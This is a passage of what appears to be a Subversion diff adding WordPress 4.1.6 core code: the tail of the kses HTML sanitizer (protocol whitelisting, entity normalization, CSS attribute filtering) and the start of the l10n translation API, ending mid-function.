+		$protocol = wp_kses_bad_protocol_once2( $string2[0], $allowed_protocols );
+		if ( 'feed:' == $protocol ) {
+			if ( $count > 2 )
+				return '';
+			$string = wp_kses_bad_protocol_once( $string, $allowed_protocols, ++$count );
+			if ( empty( $string ) )
+				return $string;
+		}
+		$string = $protocol . $string;
+	}
+
+	return $string;
+}
+
+/**
+ * Callback for wp_kses_bad_protocol_once() regular expression.
+ *
+ * This function processes URL protocols, checks to see if they're in the
+ * whitelist or not, and returns different data depending on the answer.
+ *
+ * @access private
+ * @since 1.0.0
+ *
+ * @param string $string URI scheme to check against the whitelist
+ * @param string $allowed_protocols Allowed protocols
+ * @return string Sanitized content
+ */
+function wp_kses_bad_protocol_once2( $string, $allowed_protocols ) {
+	$string2 = wp_kses_decode_entities($string);
+	$string2 = preg_replace('/\s/', '', $string2);
+	$string2 = wp_kses_no_null($string2);
+	$string2 = strtolower($string2);
+
+	$allowed = false;
+	foreach ( (array) $allowed_protocols as $one_protocol )
+		if ( strtolower($one_protocol) == $string2 ) {
+			$allowed = true;
+			break;
+		}
+
+	if ($allowed)
+		return "$string2:";
+	else
+		return '';
+}
+
+/**
+ * Converts and fixes HTML entities.
+ *
+ * This function normalizes HTML entities. It will convert `AT&T` to the correct
+ * `AT&amp;T`, `&#00058;` to `&#58;`, `&#XYZZY;` to `&amp;#XYZZY;` and so on.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to normalize entities
+ * @return string Content with normalized entities
+ */
+function wp_kses_normalize_entities($string) {
+	# Disarm all entities by converting & to &amp;
+
+	$string = str_replace('&', '&amp;', $string);
+
+	# Change back the allowed entities in our entity whitelist
+
+	$string = preg_replace_callback('/&amp;([A-Za-z]{2,8}[0-9]{0,2});/', 'wp_kses_named_entities', $string);
+	$string = preg_replace_callback('/&amp;#(0*[0-9]{1,7});/', 'wp_kses_normalize_entities2', $string);
+	$string = preg_replace_callback('/&amp;#[Xx](0*[0-9A-Fa-f]{1,6});/', 'wp_kses_normalize_entities3', $string);
+
+	return $string;
+}
+
+/**
+ * Callback for wp_kses_normalize_entities() regular expression.
+ *
+ * This function only accepts valid named entity references, which are finite,
+ * case-sensitive, and highly scrutinized by HTML and XML validators.
+ *
+ * @since 3.0.0
+ *
+ * @param array $matches preg_replace_callback() matches array
+ * @return string Correctly encoded entity
+ */
+function wp_kses_named_entities($matches) {
+	global $allowedentitynames;
+
+	if ( empty($matches[1]) )
+		return '';
+
+	$i = $matches[1];
+	return ( ( ! in_array($i, $allowedentitynames) ) ? "&amp;$i;" : "&$i;" );
+}
+
+/**
+ * Callback for wp_kses_normalize_entities() regular expression.
+ *
+ * This function helps {@see wp_kses_normalize_entities()} to only accept 16-bit
+ * values and nothing more for `&#number;` entities.
+ *
+ * @access private
+ * @since 1.0.0
+ *
+ * @param array $matches preg_replace_callback() matches array
+ * @return string Correctly encoded entity
+ */
+function wp_kses_normalize_entities2($matches) {
+	if ( empty($matches[1]) )
+		return '';
+
+	$i = $matches[1];
+	if (valid_unicode($i)) {
+		$i = str_pad(ltrim($i,'0'), 3, '0', STR_PAD_LEFT);
+		$i = "&#$i;";
+	} else {
+		$i = "&amp;#$i;";
+	}
+
+	return $i;
+}
+
+/**
+ * Callback for wp_kses_normalize_entities() for regular expression.
+ *
+ * This function helps wp_kses_normalize_entities() to only accept valid Unicode
+ * numeric entities in hex form.
+ *
+ * @access private
+ *
+ * @param array $matches preg_replace_callback() matches array
+ * @return string Correctly encoded entity
+ */
+function wp_kses_normalize_entities3($matches) {
+	if ( empty($matches[1]) )
+		return '';
+
+	$hexchars = $matches[1];
+	return ( ( ! valid_unicode(hexdec($hexchars)) ) ? "&amp;#x$hexchars;" : '&#x'.ltrim($hexchars,'0').';' );
+}
+
+/**
+ * Helper function to determine if a Unicode value is valid.
+ *
+ * @param int $i Unicode value
+ * @return bool True if the value was a valid Unicode number
+ */
+function valid_unicode($i) {
+	return ( $i == 0x9 || $i == 0xa || $i == 0xd ||
+			($i >= 0x20 && $i <= 0xd7ff) ||
+			($i >= 0xe000 && $i <= 0xfffd) ||
+			($i >= 0x10000 && $i <= 0x10ffff) );
+}
+
+/**
+ * Convert all entities to their character counterparts.
+ *
+ * This function decodes numeric HTML entities (`&#65;` and `&#x41;`).
+ * It doesn't do anything with other entities like &auml;, but we don't
+ * need them in the URL protocol whitelisting system anyway.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string Content to change entities
+ * @return string Content after decoded entities
+ */
+function wp_kses_decode_entities($string) {
+	$string = preg_replace_callback('/&#([0-9]+);/', '_wp_kses_decode_entities_chr', $string);
+	$string = preg_replace_callback('/&#[Xx]([0-9A-Fa-f]+);/', '_wp_kses_decode_entities_chr_hexdec', $string);
+
+	return $string;
+}
+
+/**
+ * Regex callback for wp_kses_decode_entities()
+ *
+ * @param array $match preg match
+ * @return string
+ */
+function _wp_kses_decode_entities_chr( $match ) {
+	return chr( $match[1] );
+}
+
+/**
+ * Regex callback for wp_kses_decode_entities()
+ *
+ * @param array $match preg match
+ * @return string
+ */
+function _wp_kses_decode_entities_chr_hexdec( $match ) {
+	return chr( hexdec( $match[1] ) );
+}
+
+/**
+ * Sanitize content with allowed HTML Kses rules.
+ *
+ * @since 1.0.0
+ *
+ * @param string $data Content to filter, expected to be escaped with slashes
+ * @return string Filtered content
+ */
+function wp_filter_kses( $data ) {
+	return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
+}
+
+/**
+ * Sanitize content with allowed HTML Kses rules.
+ *
+ * @since 2.9.0
+ *
+ * @param string $data Content to filter, expected to not be escaped
+ * @return string Filtered content
+ */
+function wp_kses_data( $data ) {
+	return wp_kses( $data , current_filter() );
+}
+
+/**
+ * Sanitize content for allowed HTML tags for post content.
+ *
+ * Post content refers to the page contents of the 'post' type and not $_POST
+ * data from forms.
+ *
+ * @since 2.0.0
+ *
+ * @param string $data Post content to filter, expected to be escaped with slashes
+ * @return string Filtered post content with allowed HTML tags and attributes intact.
+ */
+function wp_filter_post_kses($data) {
+	return addslashes ( wp_kses( stripslashes( $data ), 'post' ) );
+}
+
+/**
+ * Sanitize content for allowed HTML tags for post content.
+ *
+ * Post content refers to the page contents of the 'post' type and not $_POST
+ * data from forms.
+ *
+ * @since 2.9.0
+ *
+ * @param string $data Post content to filter
+ * @return string Filtered post content with allowed HTML tags and attributes intact.
+ */
+function wp_kses_post($data) {
+	return wp_kses( $data , 'post' );
+}
+
+/**
+ * Strips all of the HTML in the content.
+ *
+ * @since 2.1.0
+ *
+ * @param string $data Content to strip all HTML from
+ * @return string Filtered content without any HTML
+ */
+function wp_filter_nohtml_kses( $data ) {
+	return addslashes ( wp_kses( stripslashes( $data ), 'strip' ) );
+}
+
+/**
+ * Adds all Kses input form content filters.
+ *
+ * All hooks have default priority. The wp_filter_kses() function is added to
+ * the 'pre_comment_content' and 'title_save_pre' hooks.
+ *
+ * The wp_filter_post_kses() function is added to the 'content_save_pre',
+ * 'excerpt_save_pre', and 'content_filtered_save_pre' hooks.
+ *
+ * @since 2.0.0
+ */
+function kses_init_filters() {
+	// Normal filtering
+	add_filter('title_save_pre', 'wp_filter_kses');
+
+	// Comment filtering
+	if ( current_user_can( 'unfiltered_html' ) )
+		add_filter( 'pre_comment_content', 'wp_filter_post_kses' );
+	else
+		add_filter( 'pre_comment_content', 'wp_filter_kses' );
+
+	// Post filtering
+	add_filter('content_save_pre', 'wp_filter_post_kses');
+	add_filter('excerpt_save_pre', 'wp_filter_post_kses');
+	add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
+}
+
+/**
+ * Removes all Kses input form content filters.
+ *
+ * A quick procedural method to removing all of the filters that kses uses for
+ * content in WordPress Loop.
+ *
+ * Does not remove the kses_init() function from 'init' hook (priority is
+ * default). Also does not remove kses_init() function from 'set_current_user'
+ * hook (priority is also default).
+ *
+ * @since 2.0.6
+ */
+function kses_remove_filters() {
+	// Normal filtering
+	remove_filter('title_save_pre', 'wp_filter_kses');
+
+	// Comment filtering
+	remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
+	remove_filter( 'pre_comment_content', 'wp_filter_kses' );
+
+	// Post filtering
+	remove_filter('content_save_pre', 'wp_filter_post_kses');
+	remove_filter('excerpt_save_pre', 'wp_filter_post_kses');
+	remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
+}
+
+/**
+ * Sets up most of the Kses filters for input form content.
+ *
+ * If you remove the kses_init() function from 'init' hook and
+ * 'set_current_user' (priority is default), then none of the Kses filter hooks
+ * will be added.
+ *
+ * First removes all of the Kses filters in case the current user does not need
+ * to have Kses filter the content. If the user does not have unfiltered_html
+ * capability, then Kses filters are added.
+ *
+ * @since 2.0.0
+ */
+function kses_init() {
+	kses_remove_filters();
+
+	if (current_user_can('unfiltered_html') == false)
+		kses_init_filters();
+}
+
+add_action('init', 'kses_init');
+add_action('set_current_user', 'kses_init');
+
+/**
+ * Inline CSS filter
+ *
+ * @since 2.8.1
+ */
+function safecss_filter_attr( $css, $deprecated = '' ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.8.1' ); // Never implemented
+
+	$css = wp_kses_no_null($css);
+	$css = str_replace(array("\n","\r","\t"), '', $css);
+
+	if ( preg_match( '%[\\\\(&=}]|/\*%', $css ) ) // remove any inline css containing \ ( & } = or comments
+		return '';
+
+	$css_array = explode( ';', trim( $css ) );
+
+	/**
+	 * Filter list of allowed CSS attributes.
+	 *
+	 * @since 2.8.1
+	 *
+	 * @param array $attr List of allowed CSS attributes.
+	 */
+	$allowed_attr = apply_filters( 'safe_style_css', array( 'text-align', 'margin', 'color', 'float',
+	'border', 'background', 'background-color', 'border-bottom', 'border-bottom-color',
+	'border-bottom-style', 'border-bottom-width', 'border-collapse', 'border-color', 'border-left',
+	'border-left-color', 'border-left-style', 'border-left-width', 'border-right', 'border-right-color',
+	'border-right-style', 'border-right-width', 'border-spacing', 'border-style', 'border-top',
+	'border-top-color', 'border-top-style', 'border-top-width', 'border-width', 'caption-side',
+	'clear', 'cursor', 'direction', 'font', 'font-family', 'font-size', 'font-style',
+	'font-variant', 'font-weight', 'height', 'letter-spacing', 'line-height', 'margin-bottom',
+	'margin-left', 'margin-right', 'margin-top', 'overflow', 'padding', 'padding-bottom',
+	'padding-left', 'padding-right', 'padding-top', 'text-decoration', 'text-indent', 'vertical-align',
+	'width' ) );
+
+	if ( empty($allowed_attr) )
+		return $css;
+
+	$css = '';
+	foreach ( $css_array as $css_item ) {
+		if ( $css_item == '' )
+			continue;
+		$css_item = trim( $css_item );
+		$found = false;
+		if ( strpos( $css_item, ':' ) === false ) {
+			$found = true;
+		} else {
+			$parts = explode( ':', $css_item );
+			if ( in_array( trim( $parts[0] ), $allowed_attr ) )
+				$found = true;
+		}
+		if ( $found ) {
+			if( $css != '' )
+				$css .= ';';
+			$css .= $css_item;
+		}
+	}
+
+	return $css;
+}
+
+/**
+ * Helper function to add global attributes to a tag in the allowed html list.
+ *
+ * @since 3.5.0
+ * @access private
+ *
+ * @param array $value An array of attributes.
+ * @return array The array of attributes with global attributes added.
+ */
+function _wp_add_global_attributes( $value ) {
+	$global_attributes = array(
+		'class' => true,
+		'id' => true,
+		'style' => true,
+		'title' => true,
+		'role' => true,
+	);
+
+	if ( true === $value )
+		$value = array();
+
+	if ( is_array( $value ) )
+		return array_merge( $value, $global_attributes );
+
+	return $value;
+}
Index: /tags/4.1.6/src/wp-includes/l10n.php
===================================================================
--- /tags/4.1.6/src/wp-includes/l10n.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/l10n.php	(revision 33402)
@@ -0,0 +1,956 @@
+<?php
+/**
+ * WordPress Translation API
+ *
+ * @package WordPress
+ * @subpackage i18n
+ */
+
+/**
+ * Get the current locale.
+ *
+ * If the locale is set, then it will filter the locale in the 'locale' filter
+ * hook and return the value.
+ *
+ * If the locale is not set already, then the WPLANG constant is used if it is
+ * defined. Then it is filtered through the 'locale' filter hook and the value
+ * for the locale global set and the locale is returned.
+ *
+ * The process to get the locale should only be done once, but the locale will
+ * always be filtered using the 'locale' hook.
+ *
+ * @since 1.5.0
+ *
+ * @return string The locale of the blog or from the 'locale' hook.
+ */
+function get_locale() {
+	global $locale, $wp_local_package;
+
+	if ( isset( $locale ) ) {
+		/**
+		 * Filter WordPress install's locale ID.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $locale The locale ID.
+		 */
+		return apply_filters( 'locale', $locale );
+	}
+
+	if ( isset( $wp_local_package ) ) {
+		$locale = $wp_local_package;
+	}
+
+	// WPLANG was defined in wp-config.
+	if ( defined( 'WPLANG' ) ) {
+		$locale = WPLANG;
+	}
+
+	// If multisite, check options.
+	if ( is_multisite() ) {
+		// Don't check blog option when installing.
+		if ( defined( 'WP_INSTALLING' ) || ( false === $ms_locale = get_option( 'WPLANG' ) ) ) {
+			$ms_locale = get_site_option( 'WPLANG' );
+		}
+
+		if ( $ms_locale !== false ) {
+			$locale = $ms_locale;
+		}
+	} else {
+		$db_locale = get_option( 'WPLANG' );
+		if ( $db_locale !== false ) {
+			$locale = $db_locale;
+		}
+	}
+
+	if ( empty( $locale ) ) {
+		$locale = 'en_US';
+	}
+
+	/** This filter is documented in wp-includes/l10n.php */
+	return apply_filters( 'locale', $locale );
+}
+
+/**
+ * Retrieve the translation of $text.
+ *
+ * If there is no translation, or the text domain isn't loaded, the original text is returned.
+ *
+ * *Note:* Don't use {@see translate()} directly, use `{@see __()} or related functions.
+ *
+ * @since 2.2.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated text
+ */
+function translate( $text, $domain = 'default' ) {
+	$translations = get_translations_for_domain( $domain );
+	$translations = $translations->translate( $text );
+
+	/**
+	 * Filter text with its translation.
+	 *
+	 * @since 2.0.11
+	 *
+	 * @param string $translations Translated text.
+	 * @param string $text         Text to translate.
+	 * @param string $domain       Text domain. Unique identifier for retrieving translated strings.
+	 */
+	return apply_filters( 'gettext', $translations, $text, $domain );
+}
+
+/**
+ * Remove last item on a pipe-delimited string.
+ *
+ * Meant for removing the last item in a string, such as 'Role name|User role'. The original
+ * string will be returned if no pipe '|' characters are found in the string.
+ *
+ * @since 2.8.0
+ *
+ * @param string $string A pipe-delimited string.
+ * @return string Either $string or everything before the last pipe.
+ */
+function before_last_bar( $string ) {
+	$last_bar = strrpos( $string, '|' );
+	if ( false == $last_bar )
+		return $string;
+	else
+		return substr( $string, 0, $last_bar );
+}
+
+/**
+ * Retrieve the translation of $text in the context defined in $context.
+ *
+ * If there is no translation, or the text domain isn't loaded the original
+ * text is returned.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated text on success, original text on failure.
+ */
+function translate_with_gettext_context( $text, $context, $domain = 'default' ) {
+	$translations = get_translations_for_domain( $domain );
+	$translations = $translations->translate( $text, $context );
+	/**
+	 * Filter text with its translation based on context information.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $translations Translated text.
+	 * @param string $text         Text to translate.
+	 * @param string $context      Context information for the translators.
+	 * @param string $domain       Text domain. Unique identifier for retrieving translated strings.
+	 */
+	return apply_filters( 'gettext_with_context', $translations, $text, $context, $domain );
+}
+
+/**
+ * Retrieve the translation of $text. If there is no translation,
+ * or the text domain isn't loaded, the original text is returned.
+ *
+ * @since 2.1.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated text.
+ */
+function __( $text, $domain = 'default' ) {
+	return translate( $text, $domain );
+}
+
+/**
+ * Retrieve the translation of $text and escapes it for safe use in an attribute.
+ *
+ * If there is no translation, or the text domain isn't loaded, the original text is returned.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated text on success, original text on failure.
+ */
+function esc_attr__( $text, $domain = 'default' ) {
+	return esc_attr( translate( $text, $domain ) );
+}
+
+/**
+ * Retrieve the translation of $text and escapes it for safe use in HTML output.
+ *
+ * If there is no translation, or the text domain isn't loaded, the original text is returned.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated text
+ */
+function esc_html__( $text, $domain = 'default' ) {
+	return esc_html( translate( $text, $domain ) );
+}
+
+/**
+ * Display translated text.
+ *
+ * @since 1.2.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ */
+function _e( $text, $domain = 'default' ) {
+	echo translate( $text, $domain );
+}
+
+/**
+ * Display translated text that has been escaped for safe use in an attribute.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ */
+function esc_attr_e( $text, $domain = 'default' ) {
+	echo esc_attr( translate( $text, $domain ) );
+}
+
+/**
+ * Display translated text that has been escaped for safe use in HTML output.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text   Text to translate.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ */
+function esc_html_e( $text, $domain = 'default' ) {
+	echo esc_html( translate( $text, $domain ) );
+}
+
+/**
+ * Retrieve translated string with gettext context.
+ *
+ * Quite a few times, there will be collisions with similar translatable text
+ * found in more than two places, but with different translated context.
+ *
+ * By including the context in the pot file, translators can translate the two
+ * strings differently.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated context string without pipe.
+ */
+function _x( $text, $context, $domain = 'default' ) {
+	return translate_with_gettext_context( $text, $context, $domain );
+}
+
+/**
+ * Display translated string with gettext context.
+ *
+ * @since 3.0.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated context string without pipe.
+ */
+function _ex( $text, $context, $domain = 'default' ) {
+	echo _x( $text, $context, $domain );
+}
+
+/**
+ * Translate string with gettext context, and escapes it for safe use in an attribute.
+ *
+ * @since 2.8.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated text
+ */
+function esc_attr_x( $text, $context, $domain = 'default' ) {
+	return esc_attr( translate_with_gettext_context( $text, $context, $domain ) );
+}
+
+/**
+ * Translate string with gettext context, and escapes it for safe use in HTML output.
+ *
+ * @since 2.9.0
+ *
+ * @param string $text    Text to translate.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Translated text.
+ */
+function esc_html_x( $text, $context, $domain = 'default' ) {
+	return esc_html( translate_with_gettext_context( $text, $context, $domain ) );
+}
+
+/**
+ * Retrieve the plural or single form based on the supplied amount.
+ *
+ * If the text domain is not set in the $l10n list, then a comparison will be made
+ * and either $plural or $single parameters returned.
+ *
+ * If the text domain does exist, then the parameters $single, $plural, and $number
+ * will first be passed to the text domain's ngettext method. Then it will be passed
+ * to the 'ngettext' filter hook along with the same parameters. The expected
+ * type will be a string.
+ *
+ * @since 2.8.0
+ *
+ * @param string $single The text that will be used if $number is 1.
+ * @param string $plural The text that will be used if $number is not 1.
+ * @param int    $number The number to compare against to use either $single or $plural.
+ * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Either $single or $plural translated text.
+ */
+function _n( $single, $plural, $number, $domain = 'default' ) {
+	$translations = get_translations_for_domain( $domain );
+	$translation = $translations->translate_plural( $single, $plural, $number );
+	/**
+	 * Filter text with its translation when plural option is available.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param string $translation Translated text.
+	 * @param string $single      The text that will be used if $number is 1.
+	 * @param string $plural      The text that will be used if $number is not 1.
+	 * @param string $number      The number to compare against to use either $single or $plural.
+	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
+	 */
+	return apply_filters( 'ngettext', $translation, $single, $plural, $number, $domain );
+}
+
+/**
+ * Retrieve the plural or single form based on the supplied amount with gettext context.
+ *
+ * This is a hybrid of _n() and _x(). It supports contexts and plurals.
+ *
+ * @since 2.8.0
+ *
+ * @param string $single  The text that will be used if $number is 1.
+ * @param string $plural  The text that will be used if $number is not 1.
+ * @param int    $number  The number to compare against to use either $single or $plural.
+ * @param string $context Context information for the translators.
+ * @param string $domain  Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return string Either $single or $plural translated text with context.
+ */
+function _nx($single, $plural, $number, $context, $domain = 'default') {
+	$translations = get_translations_for_domain( $domain );
+	$translation = $translations->translate_plural( $single, $plural, $number, $context );
+	/**
+	 * Filter text with its translation while plural option and context are available.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $translation Translated text.
+	 * @param string $single      The text that will be used if $number is 1.
+	 * @param string $plural      The text that will be used if $number is not 1.
+	 * @param string $number      The number to compare against to use either $single or $plural.
+	 * @param string $context     Context information for the translators.
+	 * @param string $domain      Text domain. Unique identifier for retrieving translated strings.
+	 */
+	return apply_filters( 'ngettext_with_context', $translation, $single, $plural, $number, $context, $domain );
+}
+
+/**
+ * Register plural strings in POT file, but don't translate them.
+ *
+ * Used when you want to keep structures with translatable plural
+ * strings and use them later.
+ *
+ * Example:
+ *
+ *     $messages = array(
+ *      	'post' => _n_noop( '%s post', '%s posts' ),
+ *      	'page' => _n_noop( '%s pages', '%s pages' ),
+ *     );
+ *     ...
+ *     $message = $messages[ $type ];
+ *     $usable_text = sprintf( translate_nooped_plural( $message, $count ), $count );
+ *
+ * @since 2.5.0
+ *
+ * @param string $singular Single form to be i18ned.
+ * @param string $plural   Plural form to be i18ned.
+ * @param string $domain   Optional. Text domain. Unique identifier for retrieving translated strings.
+ * @return array array($singular, $plural)
+ */
+function _n_noop( $singular, $plural, $domain = null ) {
+	return array( 0 => $singular, 1 => $plural, 'singular' => $singular, 'plural' => $plural, 'context' => null, 'domain' => $domain );
+}
+
+/**
+ * Register plural strings with context in POT file, but don't translate them.
+ *
+ * @since 2.8.0
+ * @param string $singular
+ * @param string $plural
+ * @param string $context
+ * @param string|null $domain
+ * @return array
+ */
+function _nx_noop( $singular, $plural, $context, $domain = null ) {
+	return array( 0 => $singular, 1 => $plural, 2 => $context, 'singular' => $singular, 'plural' => $plural, 'context' => $context, 'domain' => $domain );
+}
+
+/**
+ * Translate the result of _n_noop() or _nx_noop().
+ *
+ * @since 3.1.0
+ *
+ * @param array  $nooped_plural Array with singular, plural and context keys, usually the result of _n_noop() or _nx_noop()
+ * @param int    $count         Number of objects
+ * @param string $domain        Optional. Text domain. Unique identifier for retrieving translated strings. If $nooped_plural contains
+ *                              a text domain passed to _n_noop() or _nx_noop(), it will override this value.
+ * @return string Either $single or $plural translated text.
+ */
+function translate_nooped_plural( $nooped_plural, $count, $domain = 'default' ) {
+	if ( $nooped_plural['domain'] )
+		$domain = $nooped_plural['domain'];
+
+	if ( $nooped_plural['context'] )
+		return _nx( $nooped_plural['singular'], $nooped_plural['plural'], $count, $nooped_plural['context'], $domain );
+	else
+		return _n( $nooped_plural['singular'], $nooped_plural['plural'], $count, $domain );
+}
+
+/**
+ * Load a .mo file into the text domain $domain.
+ *
+ * If the text domain already exists, the translations will be merged. If both
+ * sets have the same string, the translation from the original value will be taken.
+ *
+ * On success, the .mo file will be placed in the $l10n global by $domain
+ * and will be a MO object.
+ *
+ * @since 1.5.0
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @param string $mofile Path to the .mo file.
+ * @return bool True on success, false on failure.
+ */
+function load_textdomain( $domain, $mofile ) {
+	global $l10n;
+
+	/**
+	 * Filter text domain and/or MO file path for loading translations.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param bool   $override Whether to override the text domain. Default false.
+	 * @param string $domain   Text domain. Unique identifier for retrieving translated strings.
+	 * @param string $mofile   Path to the MO file.
+	 */
+	$plugin_override = apply_filters( 'override_load_textdomain', false, $domain, $mofile );
+
+	if ( true == $plugin_override ) {
+		return true;
+	}
+
+	/**
+	 * Fires before the MO translation file is loaded.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 * @param string $mofile Path to the .mo file.
+	 */
+	do_action( 'load_textdomain', $domain, $mofile );
+
+	/**
+	 * Filter MO file path for loading translations for a specific text domain.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $mofile Path to the MO file.
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 */
+	$mofile = apply_filters( 'load_textdomain_mofile', $mofile, $domain );
+
+	if ( !is_readable( $mofile ) ) return false;
+
+	$mo = new MO();
+	if ( !$mo->import_from_file( $mofile ) ) return false;
+
+	if ( isset( $l10n[$domain] ) )
+		$mo->merge_with( $l10n[$domain] );
+
+	$l10n[$domain] = &$mo;
+
+	return true;
+}
+
+/**
+ * Unload translations for a text domain.
+ *
+ * @since 3.0.0
+ *
+ * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+ * @return bool Whether textdomain was unloaded.
+ */
+function unload_textdomain( $domain ) {
+	global $l10n;
+
+	/**
+	 * Filter the text domain for loading translation.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool   $override Whether to override unloading the text domain. Default false.
+	 * @param string $domain   Text domain. Unique identifier for retrieving translated strings.
+	 */
+	$plugin_override = apply_filters( 'override_unload_textdomain', false, $domain );
+
+	if ( $plugin_override )
+		return true;
+
+	/**
+	 * Fires before the text domain is unloaded.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 */
+	do_action( 'unload_textdomain', $domain );
+
+	if ( isset( $l10n[$domain] ) ) {
+		unset( $l10n[$domain] );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Load default translated strings based on locale.
+ *
+ * Loads the .mo file in WP_LANG_DIR constant path from WordPress root.
+ * The translated (.mo) file is named based on the locale.
+ *
+ * @see load_textdomain()
+ *
+ * @since 1.5.0
+ *
+ * @param string $locale Optional. Locale to load. Default is the value of {@see get_locale()}.
+ * @return bool Whether the textdomain was loaded.
+ */
+function load_default_textdomain( $locale = null ) {
+	if ( null === $locale ) {
+		$locale = get_locale();
+	}
+
+	// Unload previously loaded strings so we can switch translations.
+	unload_textdomain( 'default' );
+
+	$return = load_textdomain( 'default', WP_LANG_DIR . "/$locale.mo" );
+
+	if ( ( is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK ) ) && ! file_exists(  WP_LANG_DIR . "/admin-$locale.mo" ) ) {
+		load_textdomain( 'default', WP_LANG_DIR . "/ms-$locale.mo" );
+		return $return;
+	}
+
+	if ( is_admin() || defined( 'WP_INSTALLING' ) || ( defined( 'WP_REPAIRING' ) && WP_REPAIRING ) ) {
+		load_textdomain( 'default', WP_LANG_DIR . "/admin-$locale.mo" );
+	}
+
+	if ( is_network_admin() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK ) )
+		load_textdomain( 'default', WP_LANG_DIR . "/admin-network-$locale.mo" );
+
+	return $return;
+}
+
+/**
+ * Load a plugin's translated strings.
+ *
+ * If the path is not given then it will be the root of the plugin directory.
+ *
+ * The .mo file should be named based on the text domain with a dash, and then the locale exactly.
+ *
+ * @since 1.5.0
+ *
+ * @param string $domain          Unique identifier for retrieving translated strings
+ * @param string $deprecated      Use the $plugin_rel_path parameter instead.
+ * @param string $plugin_rel_path Optional. Relative path to WP_PLUGIN_DIR where the .mo file resides.
+ *                                Default false.
+ * @return bool True when textdomain is successfully loaded, false otherwise.
+ */
+function load_plugin_textdomain( $domain, $deprecated = false, $plugin_rel_path = false ) {
+	$locale = get_locale();
+	/**
+	 * Filter a plugin's locale.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $locale The plugin's current locale.
+	 * @param string $domain Text domain. Unique identifier for retrieving translated strings.
+	 */
+	$locale = apply_filters( 'plugin_locale', $locale, $domain );
+
+	if ( false !== $plugin_rel_path	) {
+		$path = WP_PLUGIN_DIR . '/' . trim( $plugin_rel_path, '/' );
+	} else if ( false !== $deprecated ) {
+		_deprecated_argument( __FUNCTION__, '2.7' );
+		$path = ABSPATH . trim( $deprecated, '/' );
+	} else {
+		$path = WP_PLUGIN_DIR;
+	}
+
+	// Load the textdomain according to the plugin first
+	$mofile = $domain . '-' . $locale . '.mo';
+	if ( $loaded = load_textdomain( $domain, $path . '/'. $mofile ) )
+		return $loaded;
+
+	// Otherwise, load from the languages directory
+	$mofile = WP_LANG_DIR . '/plugins/' . $mofile;
+	return load_textdomain( $domain, $mofile );
+}
+
+/**
+ * Load the translated strings for a plugin residing in the mu-plugins directory.
+ *
+ * @since 3.0.0
+ *
+ * @param string $domain             Text domain. Unique identifier for retrieving translated strings.
+ * @param string $mu_plugin_rel_path Relative to WPMU_PLUGIN_DIR directory in which the .mo file resides.
+ *                                   Default empty string.
+ * @return bool True when textdomain is successfully loaded, false otherwise.
+ */
+function load_muplugin_textdomain( $domain, $mu_plugin_rel_path = '' ) {
+	/** This filter is documented in wp-includes/l10n.php */
+	$locale = apply_filters( 'plugin_locale', get_locale(), $domain );
+	$path = trailingslashit( WPMU_PLUGIN_DIR . '/' . ltrim( $mu_plugin_rel_path, '/' ) );
+
+	// Load the textdomain according to the plugin first
+	$mofile = $domain . '-' . $locale . '.mo';
